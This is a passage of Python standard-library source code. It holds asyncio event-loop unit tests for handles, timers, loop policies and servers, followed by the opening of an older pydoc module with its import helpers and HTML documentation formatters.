%s:%s>' % (filename, lineno)) # partial function cb = functools.partial(noop, 1, 2) h = asyncio.Handle(cb, (3,), self.loop) regex = (r'^<Handle noop\(1, 2\)\(3\) at %s:%s>$' % (re.escape(filename), lineno)) self.assertRegex(repr(h), regex) # partial function with keyword args cb = functools.partial(noop, x=1) h = asyncio.Handle(cb, (2, 3), self.loop) regex = (r'^<Handle noop\(x=1\)\(2, 3\) at %s:%s>$' % (re.escape(filename), lineno)) self.assertRegex(repr(h), regex) # partial method if sys.version_info >= (3, 4): method = HandleTests.test_handle_repr cb = functools.partialmethod(method) filename, lineno = test_utils.get_function_source(method) h = asyncio.Handle(cb, (), self.loop) cb_regex = r'<function HandleTests.test_handle_repr .*>' cb_regex = (r'functools.partialmethod\(%s, , \)\(\)' % cb_regex) regex = (r'^<Handle %s at %s:%s>$' % (cb_regex, re.escape(filename), lineno)) self.assertRegex(repr(h), regex) def test_handle_repr_debug(self): self.loop.get_debug.return_value = True # simple function create_filename = __file__ create_lineno = sys._getframe().f_lineno + 1 h = asyncio.Handle(noop, (1, 2), self.loop) filename, lineno = test_utils.get_function_source(noop) self.assertEqual(repr(h), '<Handle noop(1, 2) at %s:%s created at %s:%s>' % (filename, lineno, create_filename, create_lineno)) # cancelled handle h.cancel() self.assertEqual( repr(h), '<Handle cancelled noop(1, 2) at %s:%s created at %s:%s>' % (filename, lineno, create_filename, create_lineno)) # double cancellation won't overwrite _repr h.cancel() self.assertEqual( repr(h), '<Handle cancelled noop(1, 2) at %s:%s created at %s:%s>' % (filename, lineno, create_filename, create_lineno)) def test_handle_source_traceback(self): loop = asyncio.get_event_loop_policy().new_event_loop() loop.set_debug(True) self.set_event_loop(loop) def check_source_traceback(h): lineno = sys._getframe(1).f_lineno - 1 self.assertIsInstance(h._source_traceback, list) self.assertEqual(h._source_traceback[-1][:3], (__file__, lineno, 'test_handle_source_traceback')) # call_soon h = loop.call_soon(noop) check_source_traceback(h) # call_soon_threadsafe h = loop.call_soon_threadsafe(noop) check_source_traceback(h) # call_later h = loop.call_later(0, noop) check_source_traceback(h) # call_at h = loop.call_later(0, noop) check_source_traceback(h) @unittest.skipUnless(hasattr(collections.abc, 'Coroutine'), 'No collections.abc.Coroutine') def test_coroutine_like_object_debug_formatting(self): # Test that asyncio can format coroutines that are instances of # collections.abc.Coroutine, but lack cr_core or gi_code attributes # (such as ones compiled with Cython). coro = CoroLike() coro.__name__ = 'AAA' self.assertTrue(asyncio.iscoroutine(coro)) self.assertEqual(coroutines._format_coroutine(coro), 'AAA()') coro.__qualname__ = 'BBB' self.assertEqual(coroutines._format_coroutine(coro), 'BBB()') coro.cr_running = True self.assertEqual(coroutines._format_coroutine(coro), 'BBB() running') coro.__name__ = coro.__qualname__ = None self.assertEqual(coroutines._format_coroutine(coro), '<CoroLike without __name__>() running') coro = CoroLike() coro.__qualname__ = 'CoroLike' # Some coroutines might not have '__name__', such as # built-in async_gen.asend(). self.assertEqual(coroutines._format_coroutine(coro), 'CoroLike()') coro = CoroLike() coro.__qualname__ = 'AAA' coro.cr_code = None self.assertEqual(coroutines._format_coroutine(coro), 'AAA()') class TimerTests(unittest.TestCase): def setUp(self): super().setUp() self.loop = mock.Mock() def test_hash(self): when = time.monotonic() h = asyncio.TimerHandle(when, lambda: False, (), mock.Mock()) self.assertEqual(hash(h), hash(when)) def test_when(self): when = time.monotonic() h = asyncio.TimerHandle(when, lambda: False, (), mock.Mock()) self.assertEqual(when, h.when()) def test_timer(self): def callback(*args): return args args = (1, 2, 3) when = time.monotonic() h = asyncio.TimerHandle(when, callback, args, mock.Mock()) self.assertIs(h._callback, callback) self.assertIs(h._args, args) self.assertFalse(h.cancelled()) # cancel h.cancel() self.assertTrue(h.cancelled()) self.assertIsNone(h._callback) self.assertIsNone(h._args) # when cannot be None self.assertRaises(AssertionError, asyncio.TimerHandle, None, callback, args, self.loop) def test_timer_repr(self): self.loop.get_debug.return_value = False # simple function h = asyncio.TimerHandle(123, noop, (), self.loop) src = test_utils.get_function_source(noop) self.assertEqual(repr(h), '<TimerHandle when=123 noop() at %s:%s>' % src) # cancelled handle h.cancel() self.assertEqual(repr(h), '<TimerHandle cancelled when=123>') def test_timer_repr_debug(self): self.loop.get_debug.return_value = True # simple function create_filename = __file__ create_lineno = sys._getframe().f_lineno + 1 h = asyncio.TimerHandle(123, noop, (), self.loop) filename, lineno = test_utils.get_function_source(noop) self.assertEqual(repr(h), '<TimerHandle when=123 noop() ' 'at %s:%s created at %s:%s>' % (filename, lineno, create_filename, create_lineno)) # cancelled handle h.cancel() self.assertEqual(repr(h), '<TimerHandle cancelled when=123 noop() ' 'at %s:%s created at %s:%s>' % (filename, lineno, create_filename, create_lineno)) def test_timer_comparison(self): def callback(*args): return args when = time.monotonic() h1 = asyncio.TimerHandle(when, callback, (), self.loop) h2 = asyncio.TimerHandle(when, callback, (), self.loop) # TODO: Use assertLess etc. self.assertFalse(h1 < h2) self.assertFalse(h2 < h1) self.assertTrue(h1 <= h2) self.assertTrue(h2 <= h1) self.assertFalse(h1 > h2) self.assertFalse(h2 > h1) self.assertTrue(h1 >= h2) self.assertTrue(h2 >= h1) self.assertTrue(h1 == h2) self.assertFalse(h1 != h2) h2.cancel() self.assertFalse(h1 == h2) h1 = asyncio.TimerHandle(when, callback, (), self.loop) h2 = asyncio.TimerHandle(when + 10.0, callback, (), self.loop) self.assertTrue(h1 < h2) self.assertFalse(h2 < h1) self.assertTrue(h1 <= h2) self.assertFalse(h2 <= h1) self.assertFalse(h1 > h2) self.assertTrue(h2 > h1) self.assertFalse(h1 >= h2) self.assertTrue(h2 >= h1) self.assertFalse(h1 == h2) self.assertTrue(h1 != h2) h3 = asyncio.Handle(callback, (), self.loop) self.assertIs(NotImplemented, h1.__eq__(h3)) self.assertIs(NotImplemented, h1.__ne__(h3)) class AbstractEventLoopTests(unittest.TestCase): def test_not_implemented(self): f = mock.Mock() loop = asyncio.AbstractEventLoop() self.assertRaises( NotImplementedError, loop.run_forever) self.assertRaises( NotImplementedError, loop.run_until_complete, None) self.assertRaises( NotImplementedError, loop.stop) self.assertRaises( NotImplementedError, loop.is_running) self.assertRaises( NotImplementedError, loop.is_closed) self.assertRaises( NotImplementedError, loop.close) self.assertRaises( NotImplementedError, loop.create_task, None) self.assertRaises( NotImplementedError, loop.call_later, None, None) self.assertRaises( NotImplementedError, loop.call_at, f, f) self.assertRaises( NotImplementedError, loop.call_soon, None) self.assertRaises( NotImplementedError, loop.time) self.assertRaises( NotImplementedError, loop.call_soon_threadsafe, None) self.assertRaises( NotImplementedError, loop.set_default_executor, f) self.assertRaises( NotImplementedError, loop.add_reader, 1, f) self.assertRaises( NotImplementedError, loop.remove_reader, 1) self.assertRaises( NotImplementedError, loop.add_writer, 1, f) self.assertRaises( NotImplementedError, loop.remove_writer, 1) self.assertRaises( NotImplementedError, loop.add_signal_handler, 1, f) self.assertRaises( NotImplementedError, loop.remove_signal_handler, 1) self.assertRaises( NotImplementedError, loop.remove_signal_handler, 1) self.assertRaises( NotImplementedError, loop.set_exception_handler, f) self.assertRaises( NotImplementedError, loop.default_exception_handler, f) self.assertRaises( NotImplementedError, loop.call_exception_handler, f) self.assertRaises( NotImplementedError, loop.get_debug) self.assertRaises( NotImplementedError, loop.set_debug, f) def test_not_implemented_async(self): async def inner(): f = mock.Mock() loop = asyncio.AbstractEventLoop() with self.assertRaises(NotImplementedError): await loop.run_in_executor(f, f) with self.assertRaises(NotImplementedError): await loop.getaddrinfo('localhost', 8080) with self.assertRaises(NotImplementedError): await loop.getnameinfo(('localhost', 8080)) with self.assertRaises(NotImplementedError): await loop.create_connection(f) with self.assertRaises(NotImplementedError): await loop.create_server(f) with self.assertRaises(NotImplementedError): await loop.create_datagram_endpoint(f) with self.assertRaises(NotImplementedError): await loop.sock_recv(f, 10) with self.assertRaises(NotImplementedError): await loop.sock_recv_into(f, 10) with self.assertRaises(NotImplementedError): await loop.sock_sendall(f, 10) with self.assertRaises(NotImplementedError): await loop.sock_connect(f, f) with self.assertRaises(NotImplementedError): await loop.sock_accept(f) with self.assertRaises(NotImplementedError): await loop.sock_sendfile(f, f) with self.assertRaises(NotImplementedError): await loop.sendfile(f, f) with self.assertRaises(NotImplementedError): await loop.connect_read_pipe(f, mock.sentinel.pipe) with self.assertRaises(NotImplementedError): await loop.connect_write_pipe(f, mock.sentinel.pipe) with self.assertRaises(NotImplementedError): await loop.subprocess_shell(f, mock.sentinel) with self.assertRaises(NotImplementedError): await loop.subprocess_exec(f) loop = asyncio.new_event_loop() loop.run_until_complete(inner()) loop.close() class PolicyTests(unittest.TestCase): def test_event_loop_policy(self): policy = asyncio.AbstractEventLoopPolicy() self.assertRaises(NotImplementedError, policy.get_event_loop) self.assertRaises(NotImplementedError, policy.set_event_loop, object()) self.assertRaises(NotImplementedError, policy.new_event_loop) self.assertRaises(NotImplementedError, policy.get_child_watcher) self.assertRaises(NotImplementedError, policy.set_child_watcher, object()) def test_get_event_loop(self): policy = asyncio.DefaultEventLoopPolicy() self.assertIsNone(policy._local._loop) loop = policy.get_event_loop() self.assertIsInstance(loop, asyncio.AbstractEventLoop) self.assertIs(policy._local._loop, loop) self.assertIs(loop, policy.get_event_loop()) loop.close() def test_get_event_loop_calls_set_event_loop(self): policy = asyncio.DefaultEventLoopPolicy() with mock.patch.object( policy, "set_event_loop", wraps=policy.set_event_loop) as m_set_event_loop: loop = policy.get_event_loop() # policy._local._loop must be set through .set_event_loop() # (the unix DefaultEventLoopPolicy needs this call to attach # the child watcher correctly) m_set_event_loop.assert_called_with(loop) loop.close() def test_get_event_loop_after_set_none(self): policy = asyncio.DefaultEventLoopPolicy() policy.set_event_loop(None) self.assertRaises(RuntimeError, policy.get_event_loop) @mock.patch('asyncio.events.threading.current_thread') def test_get_event_loop_thread(self, m_current_thread): def f(): policy = asyncio.DefaultEventLoopPolicy() self.assertRaises(RuntimeError, policy.get_event_loop) th = threading.Thread(target=f) th.start() th.join() def test_new_event_loop(self): policy = asyncio.DefaultEventLoopPolicy() loop = policy.new_event_loop() self.assertIsInstance(loop, asyncio.AbstractEventLoop) loop.close() def test_set_event_loop(self): policy = asyncio.DefaultEventLoopPolicy() old_loop = policy.get_event_loop() self.assertRaises(AssertionError, policy.set_event_loop, object()) loop = policy.new_event_loop() policy.set_event_loop(loop) self.assertIs(loop, policy.get_event_loop()) self.assertIsNot(old_loop, policy.get_event_loop()) loop.close() old_loop.close() def test_get_event_loop_policy(self): policy = asyncio.get_event_loop_policy() self.assertIsInstance(policy, asyncio.AbstractEventLoopPolicy) self.assertIs(policy, asyncio.get_event_loop_policy()) def test_set_event_loop_policy(self): self.assertRaises( AssertionError, asyncio.set_event_loop_policy, object()) old_policy = asyncio.get_event_loop_policy() policy = asyncio.DefaultEventLoopPolicy() asyncio.set_event_loop_policy(policy) self.assertIs(policy, asyncio.get_event_loop_policy()) self.assertIsNot(policy, old_policy) class GetEventLoopTestsMixin: _get_running_loop_impl = None _set_running_loop_impl = None get_running_loop_impl = None get_event_loop_impl = None def setUp(self): self._get_running_loop_saved = events._get_running_loop self._set_running_loop_saved = events._set_running_loop self.get_running_loop_saved = events.get_running_loop self.get_event_loop_saved = events.get_event_loop events._get_running_loop = type(self)._get_running_loop_impl events._set_running_loop = type(self)._set_running_loop_impl events.get_running_loop = type(self).get_running_loop_impl events.get_event_loop = type(self).get_event_loop_impl asyncio._get_running_loop = type(self)._get_running_loop_impl asyncio._set_running_loop = type(self)._set_running_loop_impl asyncio.get_running_loop = type(self).get_running_loop_impl asyncio.get_event_loop = type(self).get_event_loop_impl super().setUp() self.loop = asyncio.new_event_loop() asyncio.set_event_loop(self.loop) if sys.platform != 'win32': watcher = asyncio.SafeChildWatcher() watcher.attach_loop(self.loop) asyncio.set_child_watcher(watcher) def tearDown(self): try: if sys.platform != 'win32': asyncio.set_child_watcher(None) super().tearDown() finally: self.loop.close() asyncio.set_event_loop(None) events._get_running_loop = self._get_running_loop_saved events._set_running_loop = self._set_running_loop_saved events.get_running_loop = self.get_running_loop_saved events.get_event_loop = self.get_event_loop_saved asyncio._get_running_loop = self._get_running_loop_saved asyncio._set_running_loop = self._set_running_loop_saved asyncio.get_running_loop = self.get_running_loop_saved asyncio.get_event_loop = self.get_event_loop_saved if sys.platform != 'win32': def test_get_event_loop_new_process(self): # Issue bpo-32126: The multiprocessing module used by # ProcessPoolExecutor is not functional when the # multiprocessing.synchronize module cannot be imported. support.import_module('multiprocessing.synchronize') async def main(): pool = concurrent.futures.ProcessPoolExecutor() result = await self.loop.run_in_executor( pool, _test_get_event_loop_new_process__sub_proc) pool.shutdown() return result self.assertEqual( self.loop.run_until_complete(main()), 'hello') def test_get_event_loop_returns_running_loop(self): class TestError(Exception): pass class Policy(asyncio.DefaultEventLoopPolicy): def get_event_loop(self): raise TestError old_policy = asyncio.get_event_loop_policy() try: asyncio.set_event_loop_policy(Policy()) loop = asyncio.new_event_loop() with self.assertRaises(TestError): asyncio.get_event_loop() asyncio.set_event_loop(None) with self.assertRaises(TestError): asyncio.get_event_loop() with self.assertRaisesRegex(RuntimeError, 'no running'): self.assertIs(asyncio.get_running_loop(), None) self.assertIs(asyncio._get_running_loop(), None) async def func(): self.assertIs(asyncio.get_event_loop(), loop) self.assertIs(asyncio.get_running_loop(), loop) self.assertIs(asyncio._get_running_loop(), loop) loop.run_until_complete(func()) asyncio.set_event_loop(loop) with self.assertRaises(TestError): asyncio.get_event_loop() asyncio.set_event_loop(None) with self.assertRaises(TestError): asyncio.get_event_loop() finally: asyncio.set_event_loop_policy(old_policy) if loop is not None: loop.close() with self.assertRaisesRegex(RuntimeError, 'no running'): self.assertIs(asyncio.get_running_loop(), None) self.assertIs(asyncio._get_running_loop(), None) class TestPyGetEventLoop(GetEventLoopTestsMixin, unittest.TestCase): _get_running_loop_impl = events._py__get_running_loop _set_running_loop_impl = events._py__set_running_loop get_running_loop_impl = events._py_get_running_loop get_event_loop_impl = events._py_get_event_loop try: import _asyncio # NoQA except ImportError: pass else: class TestCGetEventLoop(GetEventLoopTestsMixin, unittest.TestCase): _get_running_loop_impl = events._c__get_running_loop _set_running_loop_impl = events._c__set_running_loop get_running_loop_impl = events._c_get_running_loop get_event_loop_impl = events._c_get_event_loop class TestServer(unittest.TestCase): def test_get_loop(self): loop = asyncio.new_event_loop() self.addCleanup(loop.close) proto = MyProto(loop) server = loop.run_until_complete(loop.create_server(lambda: proto, '0.0.0.0', 0)) self.assertEqual(server.get_loop(), loop) server.close() loop.run_until_complete(server.wait_closed()) class TestAbstractServer(unittest.TestCase): def test_close(self): with self.assertRaises(NotImplementedError): events.AbstractServer().close() def test_wait_closed(self): loop = asyncio.new_event_loop() self.addCleanup(loop.close) with self.assertRaises(NotImplementedError): loop.run_until_complete(events.AbstractServer().wait_closed()) def test_get_loop(self): with self.assertRaises(NotImplementedError): events.AbstractServer().get_loop() if __name__ == '__main__': unittest.main()
pydoc.py
#!/usr/bin/env python # -*- coding: latin-1 -*- """Generate Python documentation in HTML or text for interactive use. In the Python interpreter, do "from pydoc import help" to provide online help. Calling help(thing) on a Python object documents the object. Or, at the shell command line outside of Python: Run "pydoc <name>" to show documentation on something. <name> may be the name of a function, module, package, or a dotted reference to a class or function within a module or module in a package. If the argument contains a path segment delimiter (e.g. slash on Unix, backslash on Windows) it is treated as the path to a Python source file. Run "pydoc -k <keyword>" to search for a keyword in the synopsis lines of all available modules. Run "pydoc -p <port>" to start an HTTP server on a given port on the local machine to generate documentation web pages. For platforms without a command line, "pydoc -g" starts the HTTP server and also pops up a little window for controlling it. Run "pydoc -w <name>" to write out the HTML documentation for a module to a file named "<name>.html". Module docs for core modules are assumed to be in http://docs.python.org/X.Y/library/ This can be overridden by setting the PYTHONDOCS environment variable to a different URL or to a local directory containing the Library Reference Manual pages. """ __all__ = ['help'] __author__ = "Ka-Ping Yee <ping@lfw.org>" __date__ = "26 February 2001" __version__ = "$Revision: 86505 $" __credits__ = """Guido van Rossum, for an excellent programming language. Tommy Burnette, the original creator of manpy. Paul Prescod, for all his work on onlinehelp. Richard Chamberlain, for the first implementation of textdoc. """ # Known bugs that can't be fixed here: # - imp.load_module() cannot be prevented from clobbering existing # loaded modules, so calling synopsis() on a binary module file # changes the contents of any existing module with the same name. # - If the __file__ attribute on a module is a relative path and # the current directory is changed with os.chdir(), an incorrect # path will be displayed. import sys, imp, os, re, inspect, builtins, pkgutil from reprlib import Repr from traceback import extract_tb as _extract_tb from collections import deque # --------------------------------------------------------- common routines def pathdirs(): """Convert sys.path into a list of absolute, existing, unique paths.""" dirs = [] normdirs = [] for dir in sys.path: dir = os.path.abspath(dir or '.') normdir = os.path.normcase(dir) if normdir not in normdirs and os.path.isdir(dir): dirs.append(dir) normdirs.append(normdir) return dirs def getdoc(object): """Get the doc string or comments for an object.""" result = inspect.getdoc(object) or inspect.getcomments(object) return result and re.sub('^ *\n', '', result.rstrip()) or '' def splitdoc(doc): """Split a doc string into a synopsis line (if any) and the rest.""" lines = doc.strip().split('\n') if len(lines) == 1: return lines[0], '' elif len(lines) >= 2 and not lines[1].rstrip(): return lines[0], '\n'.join(lines[2:]) return '', '\n'.join(lines) def classname(object, modname): """Get a class name and qualify it with a module name if necessary.""" name = object.__name__ if object.__module__ != modname: name = object.__module__ + '.' + name return name def isdata(object): """Check if an object is of a type that probably means it's data.""" return not (inspect.ismodule(object) or inspect.isclass(object) or inspect.isroutine(object) or inspect.isframe(object) or inspect.istraceback(object) or inspect.iscode(object)) def replace(text, *pairs): """Do a series of global replacements on a string.""" while pairs: text = pairs[1].join(text.split(pairs[0])) pairs = pairs[2:] return text def cram(text, maxlen): """Omit part of a string if needed to make it fit in a maximum length.""" if len(text) > maxlen: pre = max(0, (maxlen-3)//2) post = max(0, maxlen-3-pre) return text[:pre] + '...' + text[len(text)-post:] return text _re_stripid = re.compile(r' at 0x[0-9a-f]{6,16}(>+)$', re.IGNORECASE) def stripid(text): """Remove the hexadecimal id from a Python object representation.""" # The behaviour of %p is implementation-dependent in terms of case. return _re_stripid.sub(r'\1', text) def _is_some_method(obj): return inspect.ismethod(obj) or inspect.ismethoddescriptor(obj) def allmethods(cl): methods = {} for key, value in inspect.getmembers(cl, _is_some_method): methods[key] = 1 for base in cl.__bases__: methods.update(allmethods(base)) # all your base are belong to us for key in methods.keys(): methods[key] = getattr(cl, key) return methods def _split_list(s, predicate): """Split sequence s via predicate, and return pair ([true], [false]). The return value is a 2-tuple of lists, ([x for x in s if predicate(x)], [x for x in s if not predicate(x)]) """ yes = [] no = [] for x in s: if predicate(x): yes.append(x) else: no.append(x) return yes, no def visiblename(name, all=None): """Decide whether to show documentation on a variable.""" # Certain special names are redundant. _hidden_names = ('__builtins__', '__doc__', '__file__', '__path__', '__module__', '__name__', '__slots__', '__package__', '__author__', '__credits__', '__date__', '__version__') if name in _hidden_names: return 0 # Private names are hidden, but special names are displayed. if name.startswith('__') and name.endswith('__'): return 1 if all is not None: # only document that which the programmer exported in __all__ return name in all else: return not name.startswith('_') def classify_class_attrs(object): """Wrap inspect.classify_class_attrs, with fixup for data descriptors.""" results = [] for (name, kind, cls, value) in inspect.classify_class_attrs(object): if inspect.isdatadescriptor(value): kind = 'data descriptor' results.append((name, kind, cls, value)) return results # ----------------------------------------------------- module manipulation def ispackage(path): """Guess whether a path refers to a package directory.""" if os.path.isdir(path): for ext in ('.py', '.pyc', '.pyo'): if os.path.isfile(os.path.join(path, '__init__' + ext)): return True return False def source_synopsis(file): line = file.readline() while line[:1] == '#' or not line.strip(): line = file.readline() if not line: break line = line.strip() if line[:4] == 'r"""': line = line[1:] if line[:3] == '"""': line = line[3:] if line[-1:] == '\\': line = line[:-1] while not line.strip(): line = file.readline() if not line: break result = line.split('"""')[0].strip() else: result = None return result def synopsis(filename, cache={}): """Get the one-line summary out of a module file.""" mtime = os.stat(filename).st_mtime lastupdate, result = cache.get(filename, (0, None)) if lastupdate < mtime: info = inspect.getmoduleinfo(filename) try: file = open(filename) except IOError: # module can't be opened, so skip it return None if info and 'b' in info[2]: # binary modules have to be imported try: module = imp.load_module('__temp__', file, filename, info[1:]) except: return None result = (module.__doc__ or '').splitlines()[0] del sys.modules['__temp__'] else: # text modules can be directly examined result = source_synopsis(file) file.close() cache[filename] = (mtime, result) return result class ErrorDuringImport(Exception): """Errors that occurred while trying to import something to document it.""" def __init__(self, filename, exc_info): self.filename = filename self.exc, self.value, self.tb = exc_info def __str__(self): exc = self.exc.__name__ return 'problem in %s - %s: %s' % (self.filename, exc, self.value) def importfile(path): """Import a Python source file or compiled file given its path.""" magic = imp.get_magic() file = open(path, 'r') if file.read(len(magic)) == magic: kind = imp.PY_COMPILED else: kind = imp.PY_SOURCE file.close() filename = os.path.basename(path) name, ext = os.path.splitext(filename) file = open(path, 'r') try: module = imp.load_module(name, file, path, (ext, 'r', kind)) except: raise ErrorDuringImport(path, sys.exc_info()) file.close() return module def safeimport(path, forceload=0, cache={}): """Import a module; handle errors; return None if the module isn't found. If the module *is* found but an exception occurs, it's wrapped in an ErrorDuringImport exception and reraised. Unlike __import__, if a package path is specified, the module at the end of the path is returned, not the package at the beginning. If the optional 'forceload' argument is 1, we reload the module from disk (unless it's a dynamic extension).""" try: # If forceload is 1 and the module has been previously loaded from # disk, we always have to reload the module. Checking the file's # mtime isn't good enough (e.g. the module could contain a class # that inherits from another module that has changed). if forceload and path in sys.modules: if path not in sys.builtin_module_names: # Remove the module from sys.modules and re-import to try # and avoid problems with partially loaded modules. # Also remove any submodules because they won't appear # in the newly loaded module's namespace if they're already # in sys.modules. subs = [m for m in sys.modules if m.startswith(path + '.')] for key in [path] + subs: # Prevent garbage collection. cache[key] = sys.modules[key] del sys.modules[key] module = __import__(path) except: # Did the error occur before or after the module was found? (exc, value, tb) = info = sys.exc_info() if path in sys.modules: # An error occurred while executing the imported module. raise ErrorDuringImport(sys.modules[path].__file__, info) elif exc is SyntaxError: # A SyntaxError occurred before we could execute the module. raise ErrorDuringImport(value.filename, info) elif exc is ImportError and _extract_tb(tb)[-1][2]=='safeimport': # The import error occurred directly in this function, # which means there is no such module in the path. return None else: # Some other error occurred during the importing process. raise ErrorDuringImport(path, sys.exc_info()) for part in path.split('.')[1:]: try: module = getattr(module, part) except AttributeError: return None return module # ---------------------------------------------------- formatter base class class Doc: PYTHONDOCS = os.environ.get("PYTHONDOCS", "http://docs.python.org/%d.%d/library" % sys.version_info[:2]) def document(self, object, name=None, *args): """Generate documentation for an object.""" args = (object, name) + args # 'try' clause is to attempt to handle the possibility that inspect # identifies something in a way that pydoc itself has issues handling; # think 'super' and how it is a descriptor (which raises the exception # by lacking a __name__ attribute) and an instance. if inspect.isgetsetdescriptor(object): return self.docdata(*args) if inspect.ismemberdescriptor(object): return self.docdata(*args) try: if inspect.ismodule(object): return self.docmodule(*args) if inspect.isclass(object): return self.docclass(*args) if inspect.isroutine(object): return self.docroutine(*args) except AttributeError: pass if isinstance(object, property): return self.docproperty(*args) return self.docother(*args) def fail(self, object, name=None, *args): """Raise an exception for unimplemented types.""" message = "don't know how to document object%s of type %s" % ( name and ' ' + repr(name), type(object).__name__) raise TypeError(message) docmodule = docclass = docroutine = docother = docproperty = docdata = fail def getdocloc(self, object): """Return the location of module docs or None""" try: file = inspect.getabsfile(object) except TypeError: file = '(built-in)' docloc = os.environ.get("PYTHONDOCS", self.PYTHONDOCS) basedir = os.path.join(sys.exec_prefix, "lib", "python%d.%d" % sys.version_info[:2]) if (isinstance(object, type(os)) and (object.__name__ in ('errno', 'exceptions', 'gc', 'imp', 'marshal', 'posix', 'signal', 'sys', '_thread', 'zipimport') or (file.startswith(basedir) and not file.startswith(os.path.join(basedir, 'site-packages')))) and object.__name__ not in ('xml.etree', 'test.pydoc_mod')): if docloc.startswith("http://"): docloc = "%s/%s" % (docloc.rstrip("/"), object.__name__) else: docloc = os.path.join(docloc, object.__name__ + ".html") else: docloc = None return docloc # -------------------------------------------- HTML documentation generator class HTMLRepr(Repr): """Class for safely making an HTML representation of a Python object.""" def __init__(self): Repr.__init__(self) self.maxlist = self.maxtuple = 20 self.maxdict = 10 self.maxstring = self.maxother = 100 def escape(self, text): return replace(text, '&', '&amp;', '<', '&lt;', '>', '&gt;') def repr(self, object): return Repr.repr(self, object) def repr1(self, x, level): if hasattr(type(x), '__name__'): methodname = 'repr_' + '_'.join(type(x).__name__.split()) if hasattr(self, methodname): return getattr(self, methodname)(x, level) return self.escape(cram(stripid(repr(x)), self.maxother)) def repr_string(self, x, level): test = cram(x, self.maxstring) testrepr = repr(test) if '\\' in test and '\\' not in replace(testrepr, r'\\', ''): # Backslashes are only literal in the string and are never # needed to make any special characters, so show a raw string. return 'r' + testrepr[0] + self.escape(test) + testrepr[0] return re.sub(r'((\\[\\abfnrtv\'"]|\\[0-9]..|\\x..|\\u....)+)', r'<font color="#c040c0">\1</font>', self.escape(testrepr)) repr_str = repr_string def repr_instance(self, x, level): try: return self.escape(cram(stripid(repr(x)), self.maxstring)) except: return self.escape('<%s instance>' % x.__class__.__name__) repr_unicode = repr_string class HTMLDoc(Doc): """Formatter class for HTML documentation.""" # ------------------------------------------- HTML formatting utilities _repr_instance = HTMLRepr() repr = _repr_instance.repr escape = _repr_instance.escape def page(self, title, contents): """Format an HTML page.""" return '''\ <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html><head><title>Python: %s</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head><body bgcolor="#f0f0f8"> %s </body></html>''' % (title, contents) def heading(self, title, fgcol, bgcol, extras=''): """Format a page heading.""" return ''' <table width="100%%" cellspacing=0 cellpadding=2 border=0 summary="heading"> <tr bgcolor="%s"> <td valign=bottom>&nbsp;<br> <font color="%s" face="helvetica, arial">&nbsp;<br>%s</font></td ><td align=right valign=bottom ><font color="%s" face="helvetica, arial">%s</font></td></tr></table> ''' % (bgcol, fgcol, title, fgcol, extras or '&nbsp;') def section(self, title, fgcol, bgcol, contents, width=6, prelude='', marginalia=None, gap='&nbsp;'): """Format a section with a heading.""" if marginalia is None: marginalia = '<tt>' + '&nbsp;' * width + '</tt>' result = '''<p> <table width="100%%" cellspacing=0 cellpadding=2 border=0 summary="section"> <tr bgcolor="%s"> <td colspan=3 valign=bottom>&nbsp;<br> <font color="%s" face="helvetica, arial">%s</font></td></tr> ''' % (bgcol, fgcol, title) if prelude: result = result + ''' <tr bgcolor="%s"><td rowspan=2>%s</td> <td colspan=2>%s</td></tr> <tr><td>%s</td>''' % (bgcol, marginalia, prelude, gap) else: result = result + ''' <tr><td bgcolor="%s">%s</td><td>%s</td>''' % (bgcol, marginalia, gap) return result + '\n<td width="100%%">%s</td></tr></table>' % contents def bigsection(self, title, *args): """Format a section with a big heading.""" title = '<big><strong>%s</strong></big>' % title return self.section(title, *args) def preformat(self, text): """Format literal preformatted text.""" text = self.escape(text.expandtabs()) return replace(text, '\n\n', '\n \n', '\n\n', '\n \n', ' ', '&nbsp;', '\n', '<br>\n') def multicolumn(self, list, format, cols=4): """Format a list of items into a multi-column list.""" result = '' rows = (len(list)+cols-1)//cols for col in range(cols): result = result + '<td width="%d%%" valign=top>' % (100//cols) for i in range(rows*col, rows*col+rows): if i < len(list): result = result + format(list[i]) + '<br>\n' result = result + '</td>' return '<table width="100%%" summary="list"><tr>%s</tr></table>' % result def grey(self, text): return '<font color="#909090">%s</font>' % text def namelink(self, name, *dicts): """Make a link for an identifier, given name-to-URL mappings.""" for dict in dicts: if name in dict: return '<a href="%s">%s</a>' % (dict[name], name) return name def classlink(self, object, modname): """Make a link for a class.""" name, module = object.__name__, sys.modules.get(object.__module__) if hasattr(module, name) and getattr(module, name) is object: return '<a href="%s.html#%s">%s</a>' % ( module.__name__, name, classname(object, modname)) return classname(object, modname) def modulelink(self, object): """Make a link for a module.""" return '<a href="%s.html">%s</a>' % (object.__name__, object.__name__) def modpkglink(self, modpkginfo): """Make a link for a module or package to display in an index.""" name, path, ispackage, shadowed = modpkginfo if shadowed: return self.grey(name) if path: url = '%s.%s.html' % (path, name) else: url = '%s.html' % name if ispackage: text = '<strong>%s</strong>&nbsp;(package)' % name else: text = name return '<a href="%s">%s</a>' % (url, text) def markup(self, text, escape=None, funcs={}, classes={}, methods={}): """Mark up some plain text, given a context of symbols to look for. Each context dictionary maps object names to anchor names.""" escape = escape or self.escape results = [] here = 0 pattern = re.compile(r'\b((http|ftp)://\S+[\w/]|' r'RFC[- ]?(\d+)|' r'PEP[- ]?(\d+)|' r'(self\.)?(\w+))') while True: match = pattern.search(text, here) if not match: break start, end = match.span() results.append(escape(text[here:start])) all, scheme, rfc, pep, selfdot, name = match.groups() if scheme: url = escape(all).replace('"', '&quot;') results.append('<a href="%s">%s</a>' % (url, url)) elif rfc: url = 'http://www.rfc-editor.org/rfc/rfc%d.txt' % int(rfc) results.append('<a href="%s">%s</a>' % (url, escape(all))) elif pep: url = 'http://www.python.org/dev/peps/pep-%04d/' % int(pep) results.append('<a href="%s">%s</a>' % (url, escape(all))) elif text[end:end+1] == '(': results.append(self.namelink(name, methods, funcs, classes)) elif selfdot: results.append('self.<strong>%s</strong>' % name) else: results.append(self.namelink(name, classes)) here = end results.append(escape(text[here:])) return ''.join(results) # ---------------------------------------------- type-specific routines def formattree(self, tree, modname, parent=None): """Produce HTML for a class tree as given by inspect.getclasstree().""" result = '' for entry in tree: if type(entry) is type(()): c, bases = entry result = result + '<dt><font face="helvetica, arial">' result = result + self.classlink(c, modname) if bases and bases != (parent,): parents = [] for base in bases: parents.append(self.classlink(base, modname)) result = result + '(' + ', '.join(parents) + ')' result = result + '\n</font></dt>' elif type(entry) is type([]): result = result + '<dd>\n%s</dd>\n' % self.formattree( entry, modname, 